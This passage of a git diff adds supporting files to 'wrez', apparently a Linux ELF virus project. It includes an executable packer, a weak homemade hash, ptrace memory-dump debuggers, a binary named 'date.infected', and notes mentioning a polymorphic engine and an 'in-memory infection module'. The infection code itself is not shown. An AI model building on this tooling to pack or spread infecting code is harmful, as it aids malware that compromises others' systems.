| 269 | if (lzlenght < bestlzlen) { | ||
| 270 | |||
| 271 | besthl1 = hufflimit1; | ||
| 272 | besthl2 = hufflimit2; | ||
| 273 | bestlzlen = lzlenght; | ||
| 274 | } | ||
| 275 | } | ||
| 276 | |||
| 277 | hufflimit1 = besthl1; | ||
| 278 | hufflimit2 = besthl2; | ||
| 279 | maxhuffman = (hufflimit2 + hufflimit1) * 2; | ||
| 280 | bestlzlen = 60000; | ||
| 281 | |||
| 282 | for (lenlimit = 5; lenlimit <= 15; lenlimit++) { | ||
| 283 | |||
| 284 | fflush(stdout); | ||
| 285 | rotor++; | ||
| 286 | rotor&=3; | ||
| 287 | |||
| 288 | squeeze(); | ||
| 289 | |||
| 290 | if (lzlenght < bestlzlen) { | ||
| 291 | |||
| 292 | bestll = lenlimit; | ||
| 293 | bestlzlen = lzlenght; | ||
| 294 | } | ||
| 295 | } | ||
| 296 | |||
| 297 | lenlimit = bestll; | ||
| 298 | |||
| 299 | squeeze(); | ||
| 300 | } | ||
| 301 | |||
| 302 | |||
| 303 | |||
| 304 | /*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± | ||
| 305 | * | ||
| 306 | * Main | ||
| 307 | * | ||
| 308 | *±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*/ | ||
| 309 | |||
| 310 | int | ||
| 311 | main (int argc, char *argv[]) | ||
| 312 | { | ||
| 313 | FILE *out; | ||
| 314 | FILE *fp; | ||
| 315 | char *destfile="un624.linux.compressed.bin.712SAk", *srcfile, slow; | ||
| 316 | char *aoutfile="a.out"; | ||
| 317 | long ratio; | ||
| 318 | unsigned long starting_offset, new_offset, memory; | ||
| 319 | char tin[1024]; | ||
| 320 | |||
| 321 | buffer=_buffer; | ||
| 322 | |||
| 323 | |||
| 324 | if (argc<2) { | ||
| 325 | puts(help); | ||
| 326 | fprintf(stderr, "Bad number of arguments.\n"); | ||
| 327 | return ERROR; | ||
| 328 | } | ||
| 329 | |||
| 330 | if (argv[1][0] == '-') { | ||
| 331 | if (argv[1][1] != 's' || argv[1][2]) { | ||
| 332 | puts(help); | ||
| 333 | fprintf(stderr, "Unkown option '%s'\n", argv[1]); | ||
| 334 | return ERROR; | ||
| 335 | } | ||
| 336 | if (argc < 3 || argc > 4) { | ||
| 337 | puts(help); | ||
| 338 | fprintf(stderr, "Bad number of arguments.\n"); | ||
| 339 | return ERROR; | ||
| 340 | } | ||
| 341 | slow = TRUE; | ||
| 342 | srcfile = argv[2]; | ||
| 343 | if (argc==4) | ||
| 344 | aoutfile=argv[3]; | ||
| 345 | } | ||
| 346 | else { | ||
| 347 | if (argc < 2 || argc > 3) { | ||
| 348 | puts(help); | ||
| 349 | fprintf(stderr, "Bad number of arguments.\n"); | ||
| 350 | return ERROR; | ||
| 351 | } | ||
| 352 | slow = FALSE; | ||
| 353 | srcfile = argv[1]; | ||
| 354 | if (argc==3) | ||
| 355 | aoutfile=argv[2]; | ||
| 356 | } | ||
| 357 | |||
| 358 | |||
| 359 | if ((fp = fopen(srcfile, "rb")) == NULL) { | ||
| 360 | |||
| 361 | printf("File not found!\n"); | ||
| 362 | return ERROR; | ||
| 363 | } | ||
| 364 | |||
| 365 | lenght = (word) fread(buffer, 1, MAXSIZE, fp); | ||
| 366 | if (lenght == 0) { | ||
| 367 | |||
| 368 | printf("Error reading from file!\n"); | ||
| 369 | fclose(fp); | ||
| 370 | |||
| 371 | return ERROR; | ||
| 372 | } | ||
| 373 | |||
| 374 | #if 0 | ||
| 375 | lenght-=74; | ||
| 376 | buffer+=74; | ||
| 377 | #endif | ||
| 378 | |||
| 379 | #if 0 | ||
| 380 | if (fread(&dummy, 1, 1, fp) != 0) { | ||
| 381 | printf("File too big (must be < 20000 bytes)!\n"); | ||
| 382 | fclose(fp); | ||
| 383 | return ERROR; | ||
| 384 | } | ||
| 385 | #endif | ||
| 386 | |||
| 387 | fclose(fp); | ||
| 388 | |||
| 389 | |||
| 390 | if (slow == TRUE) compress(); | ||
| 391 | else { | ||
| 392 | hufflimit1 = 16; | ||
| 393 | hufflimit2 = 128; | ||
| 394 | lenlimit = 9; | ||
| 395 | maxhuffman = (hufflimit2 + hufflimit1) * 2; | ||
| 396 | squeeze(); | ||
| 397 | } | ||
| 398 | |||
| 399 | |||
| 400 | if ((fp = fopen(aoutfile, "wb")) == NULL) { | ||
| 401 | printf("Cannot create file '%s'\n", aoutfile); | ||
| 402 | return ERROR; | ||
| 403 | } | ||
| 404 | fwrite(lzbuffer, 1, lzlenght, fp); | ||
| 405 | fclose(fp); | ||
| 406 | |||
| 407 | printf ("%d:%d:%d:%d:%d\n", | ||
| 408 | lzlenght, lenlimit-1, log2(hufflimit1)+1, log2(hufflimit2)+1, (hufflimit1 * 2)+1); | ||
| 409 | #if 0 | ||
| 410 | fprintf (stderr, "%%define data_length %d\n" | ||
| 411 | "%%define llstuff %d\n" | ||
| 412 | "%%define hl1stuff %d\n" | ||
| 413 | "%%define hl2stuff %d\n" | ||
| 414 | "%%define hf2stuff %d\n", | ||
| 415 | lzlenght, lenlimit-1, log2(hufflimit1)+1, log2(hufflimit2)+1, (hufflimit1 * 2)+1); | ||
| 416 | #endif | ||
| 417 | |||
| 418 | #if 0 | ||
| 419 | ratio = ((long) lenght - (long) lzlenght) * 100 / ((long) lenght); | ||
| 420 | printf("Done!\n\nInput/Output ratio: %i/%i bytes (saved %ld%%)\n", | ||
| 421 | lenght, lzlenght, ratio); | ||
| 422 | |||
| 423 | /* Ok, let's now create the asm file */ | ||
| 424 | /* the unpack routine is placed before the place where the unpacked code is said to be, | ||
| 425 | * according to the elf header (is it clean ? mmm, I guess not...). | ||
| 426 | */ | ||
| 427 | buffer-=74; | ||
| 428 | starting_offset=*(unsigned long *)((char *)buffer+24); | ||
| 429 | memory=*(unsigned long *)((char *)buffer+64); | ||
| 430 | new_offset=starting_offset-lzlenght-74; | ||
| 431 | new_offset&=~4095; | ||
| 432 | new_offset+=74; | ||
| 433 | memory+=starting_offset - new_offset+4095; | ||
| 434 | memory&=~4095; | ||
| 435 | |||
| 436 | if (!(out=fopen("624.a.out.asm.816HDq", "wb"))) { | ||
| 437 | perror("624.a.out.asm.816HDq"); | ||
| 438 | return ERROR; | ||
| 439 | } | ||
| 440 | fprintf(out, "BITS 32\n" | ||
| 441 | "org 0x%lx\n" | ||
| 442 | "%%define decompress_to 0x%lx\n" | ||
| 443 | "%%define data_length %d\n" | ||
| 444 | "%%define llstuff %d\n" | ||
| 445 | "%%define hl1stuff %d\n" | ||
| 446 | "%%define hl2stuff %d\n" | ||
| 447 | "%%define hf2stuff %d\n", | ||
| 448 | new_offset, starting_offset, lzlenght, lenlimit-1, log2(hufflimit1)+1, log2(hufflimit2)+1, (hufflimit1 * 2)+1); | ||
| 449 | fprintf(out, "%s", unpacker); | ||
| 450 | fprintf(out, "incbin \"%s\";\n", destfile); | ||
| 451 | fclose(out); | ||
| 452 | |||
| 453 | /* ok, let's nasm it and tinlink it */ | ||
| 454 | /* don't worry about all those sprintf in a fixed size buffer, overflow is not possible */ | ||
| 455 | sprintf(tin, "nasm -f bin -o 624.a.out.compressed.0012Aq 624.a.out.asm.816HDq"); | ||
| 456 | fprintf(stderr, "%s\n", tin); | ||
| 457 | system(tin); | ||
| 458 | sprintf(tin, "tinlink -o %s -c 624.a.out.compressed.0012Aq -m %ld -s %p", aoutfile, memory, (unsigned char *)new_offset); | ||
| 459 | fprintf(stderr, "%s\n", tin); | ||
| 460 | system(tin); | ||
| 461 | sprintf(tin, "rm 624.a.out.compressed.0012Aq 624.a.out.asm.816HDq %s", destfile); | ||
| 462 | fprintf(stderr, "%s\n", tin); | ||
| 463 | system(tin); | ||
| 464 | return OK; | ||
| 465 | #endif | ||
| 466 | } | ||
diff --git a/other/wrez/crypto-test.c b/other/wrez/crypto-test.c new file mode 100644 index 0000000..c43f008 --- /dev/null +++ b/other/wrez/crypto-test.c | |||
| @@ -0,0 +1,32 @@ | |||
| 1 | |||
| 2 | #include <sys/utsname.h> | ||
| 3 | #include <stdio.h> | ||
| 4 | #include <stdlib.h> | ||
| 5 | #include <string.h> | ||
| 6 | #include "crypto.h" | ||
| 7 | |||
| 8 | |||
| 9 | int | ||
| 10 | main (int argc, char *argv[]) | ||
| 11 | { | ||
| 12 | char hw[] = "hello world"; | ||
| 13 | unsigned int hash; | ||
| 14 | struct utsname un; | ||
| 15 | |||
| 16 | |||
| 17 | hash = mhash (hw, sizeof (hw)); | ||
| 18 | printf ("mhash(hw) = 0x%08x\n", hash); | ||
| 19 | |||
| 20 | uname (&un); | ||
| 21 | hash = mhash ((unsigned char *) &un, sizeof (un)); | ||
| 22 | printf ("mhash(utsname) = 0x%08x\n", hash); | ||
| 23 | |||
| 24 | if (argc == 2) { | ||
| 25 | hash = mhash (argv[1], strlen (argv[1])); | ||
| 26 | printf ("mhash(\"%s\") = 0x%08x\n", argv[1], hash); | ||
| 27 | } | ||
| 28 | |||
| 29 | exit (EXIT_SUCCESS); | ||
| 30 | } | ||
| 31 | |||
| 32 | |||
diff --git a/other/wrez/crypto.c b/other/wrez/crypto.c new file mode 100644 index 0000000..6c32870 --- /dev/null +++ b/other/wrez/crypto.c | |||
| @@ -0,0 +1,24 @@ | |||
| 1 | /* crypto, cipher and obfuscation related functions | ||
| 2 | */ | ||
| 3 | |||
| 4 | #include "crypto.h" | ||
| 5 | |||
| 6 | |||
| 7 | /* a very simple homemade hash function with no strong properties at all. | ||
| 8 | */ | ||
| 9 | unsigned int | ||
| 10 | mhash (unsigned char *src, unsigned int len) | ||
| 11 | { | ||
| 12 | unsigned int hash = len; /* some small initial gain */ | ||
| 13 | |||
| 14 | for (hash = 0 ; len > 0 ; --len, ++src) { | ||
| 15 | hash ^= *src; | ||
| 16 | hash = ((hash & 0xffe00000) >> 21) | | ||
| 17 | ((hash & 0x001fffff) << 11); | ||
| 18 | hash += *src; | ||
| 19 | hash += len; | ||
| 20 | } | ||
| 21 | |||
| 22 | return (hash); | ||
| 23 | } | ||
| 24 | |||
diff --git a/other/wrez/crypto.h b/other/wrez/crypto.h new file mode 100644 index 0000000..75d99ec --- /dev/null +++ b/other/wrez/crypto.h | |||
| @@ -0,0 +1,23 @@ | |||
| 1 | |||
| 2 | #ifndef CRYPTO_H | ||
| 3 | #define CRYPTO_H | ||
| 4 | |||
| 5 | |||
| 6 | /* mhash | ||
| 7 | * | ||
| 8 | * produce a weak 32 bit hash value from a memory block at `src'. use `len' | ||
| 9 | * bytes from it to compute the hash value. it has no strong properties, but | ||
| 10 | * is sufficient for simple stuff. the hash value is also dependant on the | ||
| 11 | * `len' parameter. | ||
| 12 | * | ||
| 13 | * XXX: the memory block to be hashed should be at least 8 bytes long for the | ||
| 14 | * hash to be sufficient ! | ||
| 15 | * | ||
| 16 | * return hash value in any case | ||
| 17 | */ | ||
| 18 | |||
| 19 | unsigned int | ||
| 20 | mhash (unsigned char *src, unsigned int len); | ||
| 21 | |||
| 22 | #endif | ||
| 23 | |||
diff --git a/other/wrez/crypto.o b/other/wrez/crypto.o new file mode 100644 index 0000000..209b303 --- /dev/null +++ b/other/wrez/crypto.o | |||
| Binary files differ | |||
diff --git a/other/wrez/date b/other/wrez/date new file mode 100755 index 0000000..4138b56 --- /dev/null +++ b/other/wrez/date | |||
| Binary files differ | |||
diff --git a/other/wrez/date.infected b/other/wrez/date.infected new file mode 100755 index 0000000..ba9e809 --- /dev/null +++ b/other/wrez/date.infected | |||
| Binary files differ | |||
diff --git a/other/wrez/debug/pcdebug.c b/other/wrez/debug/pcdebug.c new file mode 100644 index 0000000..86ee12b --- /dev/null +++ b/other/wrez/debug/pcdebug.c | |||
| @@ -0,0 +1,250 @@ | |||
| 1 | /* memory dump utility | ||
| 2 | * -scut | ||
| 3 | */ | ||
| 4 | |||
| 5 | #include <sys/types.h> | ||
| 6 | #include <sys/ptrace.h> | ||
| 7 | #include <sys/wait.h> | ||
| 8 | #include <sys/user.h> | ||
| 9 | #include <errno.h> | ||
| 10 | #include <unistd.h> | ||
| 11 | #include <stdlib.h> | ||
| 12 | #include <stdio.h> | ||
| 13 | #include <libgen.h> /* basename */ | ||
| 14 | |||
| 15 | |||
| 16 | void | ||
| 17 | hexdump (unsigned char *data, unsigned int amount); | ||
| 18 | |||
| 19 | |||
| 20 | int | ||
| 21 | main (int argc, char *argv[]) | ||
| 22 | { | ||
| 23 | pid_t fpid; /* child pid, gets ptraced */ | ||
| 24 | char * argv0; | ||
| 25 | struct user regs; /* PTRACE pulled registers */ | ||
| 26 | unsigned long int addr, /* segment start address */ | ||
| 27 | addr_end, /* segment end address */ | ||
| 28 | len; /* length of segment */ | ||
| 29 | unsigned long int addr_walker, /* walker to dump memory */ | ||
| 30 | eip; /* current childs eip */ | ||
| 31 | |||
| 32 | /* array to temporarily store data into */ | ||
| 33 | unsigned char data_saved[sizeof (unsigned long int)]; | ||
| 34 | |||
| 35 | /* file to read mapping information */ | ||
| 36 | FILE * map_f; /* /proc/<pid>/maps stream */ | ||
| 37 | unsigned char map_line[256]; /* one line each from map */ | ||
| 38 | |||
| 39 | /* data for the dump files */ | ||
| 40 | FILE * dump_f; /* stream */ | ||
| 41 | char dump_name[64]; /* filename buffer */ | ||
| 42 | |||
| 43 | |||
| 44 | if (argc < 3 || sscanf (argv[1], "0x%lx", &eip) != 1) { | ||
| 45 | printf ("usage: %s <eip> <argv0 [argv1 [...]]>\n\n", argv[0]); | ||
| 46 | printf ("will run 'argv0' as program with given arguments, " | ||
| 47 | "until 'eip' is reached, then\n" | ||
| 48 | "dumping 'len' bytes from 'addr'.\n\n" | ||
| 49 | "example: %s 0x08049014 0x08048000 0x100 /bin/ls " | ||
| 50 | "-l\n\n", argv[0]); | ||
| 51 | |||
| 52 | exit (EXIT_FAILURE); | ||
| 53 | } | ||
| 54 | |||
| 55 | argv0 = argv[2]; | ||
| 56 | |||
| 57 | fpid = fork (); | ||
| 58 | if (fpid < 0) { | ||
| 59 | perror ("fork"); | ||
| 60 | exit (EXIT_FAILURE); | ||
| 61 | } | ||
| 62 | if (fpid == 0) { /* child */ | ||
| 63 | if (ptrace (PTRACE_TRACEME, 0, NULL, NULL) != 0) { | ||
| 64 | perror ("ptrace PTRACE_TRACEME"); | ||
| 65 | exit (EXIT_FAILURE); | ||
| 66 | } | ||
| 67 | fprintf (stderr, " child: TRACEME set\n"); | ||
| 68 | |||
| 69 | fprintf (stderr, " child: executing: %s\n", argv[2]); | ||
| 70 | close (1); | ||
| 71 | dup2 (2, 1); | ||
| 72 | execve (argv[2], &argv[2], NULL); | ||
| 73 | |||
| 74 | /* failed ? */ | ||
| 75 | perror ("execve"); | ||
| 76 | exit (EXIT_FAILURE); | ||
| 77 | } | ||
| 78 | |||
| 79 | wait (NULL); | ||
| 80 | |||
| 81 | memset (®s, 0, sizeof (regs)); | ||
| 82 | |||
| 83 | if (ptrace (PTRACE_GETREGS, fpid, NULL, ®s) < 0) { | ||
| 84 | perror ("ptrace PTRACE_GETREGS"); | ||
| 85 | exit (EXIT_FAILURE); | ||
| 86 | } | ||
| 87 | fprintf (stderr, "[0x%08lx] first stop\n", regs.regs.eip); | ||
| 88 | |||
| 89 | /* now single step until given eip is reached */ | ||
| 90 | do { | ||
| 91 | if (ptrace (PTRACE_SINGLESTEP, fpid, NULL, NULL) < 0) { | ||
| 92 | perror ("ptrace PTRACE_SINGLESTEP"); | ||
| 93 | exit (EXIT_FAILURE); | ||
| 94 | } | ||
| 95 | wait (NULL); | ||
| 96 | |||
| 97 | memset (®s, 0, sizeof (regs)); | ||
| 98 | if (ptrace (PTRACE_GETREGS, fpid, NULL, ®s) < 0) { | ||
| 99 | perror ("ptrace PTRACE_GETREGS"); | ||
| 100 | exit (EXIT_FAILURE); | ||
| 101 | } | ||
| 102 | fprintf (stderr, "0x%08lx\n", regs.regs.eip); | ||
| 103 | } while (regs.regs.eip != eip); | ||
| 104 | |||
| 105 | fprintf (stderr, "MEMDUMP: eip @ 0x%08lx, dumping...\n", eip); | ||
| 106 | |||
| 107 | snprintf (dump_name, sizeof (dump_name), "%s.regs", | ||
| 108 | basename (argv0)); | ||
| 109 | dump_name[sizeof (dump_name) - 1] = '\0'; | ||
| 110 | dump_f = fopen (dump_name, "w"); | ||
| 111 | if (dump_f == NULL) { | ||
| 112 | perror ("fopen dumpfile regs"); | ||
| 113 | exit (EXIT_FAILURE); | ||
| 114 | } | ||
| 115 | fprintf (dump_f, "eax = 0x%08lx\n", regs.regs.eax); | ||
| 116 | fprintf (dump_f, "ebx = 0x%08lx\n", regs.regs.ebx); | ||
| 117 | fprintf (dump_f, "ecx = 0x%08lx\n", regs.regs.ecx); | ||
| 118 | fprintf (dump_f, "edx = 0x%08lx\n", regs.regs.edx); | ||
| 119 | fprintf (dump_f, "esi = 0x%08lx\n", regs.regs.esi); | ||
| 120 | fprintf (dump_f, "edi = 0x%08lx\n", regs.regs.edi); | ||
| 121 | fprintf (dump_f, "ebp = 0x%08lx\n", regs.regs.ebp); | ||
| 122 | fprintf (dump_f, "esp = 0x%08lx\n", regs.regs.esp); | ||
| 123 | fprintf (dump_f, "eflags = 0x%08lx\n", regs.regs.eflags); | ||
| 124 | fprintf (dump_f, "xcs = 0x%08lx\n", regs.regs.xcs); | ||
| 125 | fprintf (dump_f, "xds = 0x%08lx\n", regs.regs.xds); | ||
| 126 | fprintf (dump_f, "xes = 0x%08lx\n", regs.regs.xes); | ||
| 127 | fprintf (dump_f, "xss = 0x%08lx\n", regs.regs.xss); | ||
| 128 | fclose (dump_f); | ||
| 129 | |||
| 130 | snprintf (map_line, sizeof (map_line), "/proc/%d/maps", fpid); | ||
| 131 | map_line[sizeof (map_line) - 1] = '\0'; | ||
| 132 | map_f = fopen (map_line, "r"); | ||
| 133 | if (map_f == NULL) { | ||
| 134 | perror ("fopen map-file"); | ||
| 135 | |||
| 136 | exit (EXIT_FAILURE); | ||
| 137 | } | ||
| 138 | |||
| 139 | while (fgets (map_line, sizeof (map_line), map_f) != NULL) { | ||
| 140 | char map_perm[8]; | ||
| 141 | |||
| 142 | if (sscanf (map_line, "%08lx-%08lx %7[rwxp-] ", | ||
| 143 | &addr, &addr_end, map_perm) != 3) | ||
| 144 | { | ||
| 145 | perror ("invalid map-line"); | ||
| 146 | |||
| 147 | exit (EXIT_FAILURE); | ||
| 148 | } | ||
| 149 | if (addr_end < addr) { | ||
| 150 | fprintf (stderr, "sanity required, not so: " | ||
| 151 | "addr = 0x%08lx, addr_end = 0x%08lx", | ||
| 152 | addr, addr_end); | ||
| 153 | |||
| 154 | exit (EXIT_FAILURE); | ||
| 155 | } | ||
| 156 | len = addr_end - addr; | ||
| 157 | map_perm[sizeof (map_perm) - 1] = '\0'; /* ;-) */ | ||
| 158 | |||
| 159 | fprintf (stderr, "MEMDUMP: -> 0x%08lx (0x%08lx bytes, " | ||
| 160 | "perm %s)\n", addr, len, map_perm); | ||
| 161 | |||
| 162 | snprintf (dump_name, sizeof (dump_name), | ||
| 163 | "%s.0x%08lx.0x%08lx.%s", | ||
| 164 | basename (argv0), addr, len, map_perm); | ||
| 165 | dump_name[sizeof (dump_name) - 1] = '\0'; | ||
| 166 | dump_f = fopen (dump_name, "wb"); | ||
| 167 | if (dump_f == NULL) { | ||
| 168 | perror ("fopen dumpfile"); | ||
| 169 | |||
| 170 | exit (EXIT_FAILURE); | ||
| 171 | } | ||
| 172 | |||
| 173 | /* save data, assuming addr is page aligned */ | ||
| 174 | for (addr_walker = 0 ; addr_walker < len ; | ||
| 175 | addr_walker += sizeof (data_saved)) | ||
| 176 | { | ||
| 177 | errno = 0; | ||
| 178 | |||
| 179 | *((unsigned long int *) &data_saved[0]) = | ||
| 180 | ptrace (PTRACE_PEEKDATA, fpid, | ||
| 181 | addr + addr_walker, NULL); | ||
| 182 | |||
| 183 | if (errno == 0 && fwrite (&data_saved[0], 1, 4, | ||
| 184 | dump_f) != 4) | ||
| 185 | { | ||
| 186 | perror ("fwrite dumpfile"); | ||
| 187 | |||
| 188 | exit (EXIT_FAILURE); | ||
| 189 | } else if (errno != 0) { | ||
| 190 | fprintf (stderr, | ||
| 191 | "[0x%08lx] invalid PTRACE_PEEKDATA\n", | ||
| 192 | addr + addr_walker); | ||
| 193 | |||
| 194 | exit (EXIT_FAILURE); | ||
| 195 | } | ||
| 196 | } | ||
| 197 | |||
| 198 | fclose (dump_f); | ||
| 199 | } | ||
| 200 | fclose (map_f); | ||
| 201 | |||
| 202 | if (ptrace (PTRACE_DETACH, fpid, NULL, NULL) < 0) { | ||
| 203 | perror ("ptrace PTRACE_DETACH"); | ||
| 204 | exit (EXIT_FAILURE); | ||
| 205 | } | ||
| 206 | |||
| 207 | fprintf (stderr, "MEMDUMP: success. terminating.\n"); | ||
| 208 | exit (EXIT_SUCCESS); | ||
| 209 | } | ||
| 210 | |||
| 211 | |||
| 212 | |||
| 213 | void | ||
| 214 | hexdump (unsigned char *data, unsigned int amount) | ||
| 215 | { | ||
| 216 | unsigned int dp, p; /* data pointer */ | ||
| 217 | const char trans[] = | ||
| 218 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 219 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 220 | "nopqrstuvwxyz{|}~...................................." | ||
| 221 | "....................................................." | ||
| 222 | "........................................"; | ||
| 223 | |||
| 224 | for (dp = 1; dp <= amount; dp++) { | ||
| 225 | printf ("%02x ", data[dp-1]); | ||
| 226 | if ((dp % 8) == 0) | ||
| 227 | printf (" "); | ||
| 228 | if ((dp % 16) == 0) { | ||
| 229 | printf ("| "); | ||
| 230 | p = dp; | ||
| 231 | for (dp -= 16; dp < p; dp++) | ||
| 232 | printf ("%c", trans[data[dp]]); | ||
| 233 | printf ("\n"); | ||
| 234 | } | ||
| 235 | } | ||
| 236 | if ((amount % 16) != 0) { | ||
| 237 | p = dp = 16 - (amount % 16); | ||
| 238 | for (dp = p; dp > 0; dp--) { | ||
| 239 | printf (" "); | ||
| 240 | if (((dp % 8) == 0) && (p != 8)) | ||
| 241 | printf (" "); | ||
| 242 | } | ||
| 243 | printf (" | "); | ||
| 244 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 245 | printf ("%c", trans[data[dp]]); | ||
| 246 | } | ||
| 247 | printf ("\n"); | ||
| 248 | |||
| 249 | return; | ||
| 250 | } | ||
diff --git a/other/wrez/debug/pcdump b/other/wrez/debug/pcdump new file mode 100755 index 0000000..3c77057 --- /dev/null +++ b/other/wrez/debug/pcdump | |||
| Binary files differ | |||
diff --git a/other/wrez/debug/pcdump.c b/other/wrez/debug/pcdump.c new file mode 100644 index 0000000..95b96b7 --- /dev/null +++ b/other/wrez/debug/pcdump.c | |||
| @@ -0,0 +1,148 @@ | |||
| 1 | /* memory dump utility | ||
| 2 | * -scut | ||
| 3 | */ | ||
| 4 | |||
| 5 | #include <sys/types.h> | ||
| 6 | #include <sys/ptrace.h> | ||
| 7 | #include <sys/wait.h> | ||
| 8 | #include <sys/user.h> | ||
| 9 | #include <errno.h> | ||
| 10 | #include <unistd.h> | ||
| 11 | #include <stdlib.h> | ||
| 12 | #include <stdio.h> | ||
| 13 | #include <libgen.h> /* basename */ | ||
| 14 | |||
| 15 | |||
| 16 | void | ||
| 17 | hexdump (unsigned char *data, unsigned int amount); | ||
| 18 | |||
| 19 | |||
| 20 | int | ||
| 21 | main (int argc, char *argv[], char *envp[]) | ||
| 22 | { | ||
| 23 | pid_t fpid; /* child pid, gets ptraced */ | ||
| 24 | char * argv0; | ||
| 25 | struct user regs; /* PTRACE pulled registers */ | ||
| 26 | unsigned long int addr, /* segment start address */ | ||
| 27 | addr_end, /* segment end address */ | ||
| 28 | len; /* length of segment */ | ||
| 29 | unsigned long int addr_walker, /* walker to dump memory */ | ||
| 30 | eip; /* current childs eip */ | ||
| 31 | |||
| 32 | /* array to temporarily store data into */ | ||
| 33 | unsigned char data_saved[sizeof (unsigned long int)]; | ||
| 34 | |||
| 35 | /* file to read mapping information */ | ||
| 36 | FILE * map_f; /* /proc/<pid>/maps stream */ | ||
| 37 | unsigned char map_line[256]; /* one line each from map */ | ||
| 38 | |||
| 39 | /* data for the dump files */ | ||
| 40 | FILE * dump_f; /* stream */ | ||
| 41 | char dump_name[64]; /* filename buffer */ | ||
| 42 | |||
| 43 | |||
| 44 | if (argc < 2) { | ||
| 45 | printf ("usage: %s <argv0 [argv1 [...]]>\n\n", argv[0]); | ||
| 46 | printf ("will run 'argv0' as program with given arguments, " | ||
| 47 | "dumping 'eip'\n\n", argv[0]); | ||
| 48 | |||
| 49 | exit (EXIT_FAILURE); | ||
| 50 | } | ||
| 51 | |||
| 52 | fpid = fork (); | ||
| 53 | if (fpid < 0) { | ||
| 54 | perror ("fork"); | ||
| 55 | exit (EXIT_FAILURE); | ||
| 56 | } | ||
| 57 | if (fpid == 0) { /* child */ | ||
| 58 | if (ptrace (PTRACE_TRACEME, 0, NULL, NULL) != 0) { | ||
| 59 | perror ("ptrace PTRACE_TRACEME"); | ||
| 60 | exit (EXIT_FAILURE); | ||
| 61 | } | ||
| 62 | fprintf (stderr, " child: TRACEME set\n"); | ||
| 63 | |||
| 64 | fprintf (stderr, " child: executing: %s\n", argv[2]); | ||
| 65 | close (1); | ||
| 66 | dup2 (2, 1); | ||
| 67 | execve (argv[1], &argv[1], envp); | ||
| 68 | |||
| 69 | /* failed ? */ | ||
| 70 | perror ("execve"); | ||
| 71 | exit (EXIT_FAILURE); | ||
| 72 | } | ||
| 73 | |||
| 74 | wait (NULL); | ||
| 75 | |||
| 76 | memset (®s, 0, sizeof (regs)); | ||
| 77 | |||
| 78 | if (ptrace (PTRACE_GETREGS, fpid, NULL, ®s) < 0) { | ||
| 79 | perror ("ptrace PTRACE_GETREGS"); | ||
| 80 | exit (EXIT_FAILURE); | ||
| 81 | } | ||
| 82 | fprintf (stderr, "[0x%08lx] first stop\n", regs.regs.eip); | ||
| 83 | |||
| 84 | /* now single step until given eip is reached */ | ||
| 85 | do { | ||
| 86 | if (ptrace (PTRACE_SINGLESTEP, fpid, NULL, NULL) < 0) { | ||
| 87 | perror ("ptrace PTRACE_SINGLESTEP"); | ||
| 88 | exit (EXIT_FAILURE); | ||
| 89 | } | ||
| 90 | wait (NULL); | ||
| 91 | |||
| 92 | memset (®s, 0, sizeof (regs)); | ||
| 93 | if (ptrace (PTRACE_GETREGS, fpid, NULL, ®s) < 0) { | ||
| 94 | perror ("ptrace PTRACE_GETREGS"); | ||
| 95 | exit (EXIT_FAILURE); | ||
| 96 | } | ||
| 97 | fprintf (stderr, "0x%08lx\n", regs.regs.eip); | ||
| 98 | } while (1); | ||
| 99 | |||
| 100 | if (ptrace (PTRACE_DETACH, fpid, NULL, NULL) < 0) { | ||
| 101 | perror ("ptrace PTRACE_DETACH"); | ||
| 102 | exit (EXIT_FAILURE); | ||
| 103 | } | ||
| 104 | |||
| 105 | fprintf (stderr, "MEMDUMP: success. terminating.\n"); | ||
| 106 | exit (EXIT_SUCCESS); | ||
| 107 | } | ||
| 108 | |||
| 109 | |||
| 110 | |||
| 111 | void | ||
| 112 | hexdump (unsigned char *data, unsigned int amount) | ||
| 113 | { | ||
| 114 | unsigned int dp, p; /* data pointer */ | ||
| 115 | const char trans[] = | ||
| 116 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 117 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 118 | "nopqrstuvwxyz{|}~...................................." | ||
| 119 | "....................................................." | ||
| 120 | "........................................"; | ||
| 121 | |||
| 122 | for (dp = 1; dp <= amount; dp++) { | ||
| 123 | printf ("%02x ", data[dp-1]); | ||
| 124 | if ((dp % 8) == 0) | ||
| 125 | printf (" "); | ||
| 126 | if ((dp % 16) == 0) { | ||
| 127 | printf ("| "); | ||
| 128 | p = dp; | ||
| 129 | for (dp -= 16; dp < p; dp++) | ||
| 130 | printf ("%c", trans[data[dp]]); | ||
| 131 | printf ("\n"); | ||
| 132 | } | ||
| 133 | } | ||
| 134 | if ((amount % 16) != 0) { | ||
| 135 | p = dp = 16 - (amount % 16); | ||
| 136 | for (dp = p; dp > 0; dp--) { | ||
| 137 | printf (" "); | ||
| 138 | if (((dp % 8) == 0) && (p != 8)) | ||
| 139 | printf (" "); | ||
| 140 | } | ||
| 141 | printf (" | "); | ||
| 142 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 143 | printf ("%c", trans[data[dp]]); | ||
| 144 | } | ||
| 145 | printf ("\n"); | ||
| 146 | |||
| 147 | return; | ||
| 148 | } | ||
diff --git a/other/wrez/doc/BUGS_FIXME_FIXME_FIXME b/other/wrez/doc/BUGS_FIXME_FIXME_FIXME new file mode 100644 index 0000000..515d9cd --- /dev/null +++ b/other/wrez/doc/BUGS_FIXME_FIXME_FIXME | |||
| @@ -0,0 +1,5 @@ | |||
| 1 | |||
| 2 | |||
| 3 | poly engine is not PIC and buggy | ||
| 4 | |||
| 5 | |||
diff --git a/other/wrez/doc/CHANGELOG b/other/wrez/doc/CHANGELOG new file mode 100644 index 0000000..623599d --- /dev/null +++ b/other/wrez/doc/CHANGELOG | |||
| @@ -0,0 +1,17 @@ | |||
| 1 | |||
| 2 | 0.7.6 add lookup-pm.[ch] generic lookup interface | ||
| 3 | add preliminary inmem.[ch] in-memory infection module | ||
| 4 | fix tons of bugs in the lookup module | ||
| 5 | incorporate inmem module into build process | ||
| 6 | add test targets to makefile | ||
| 7 | |||
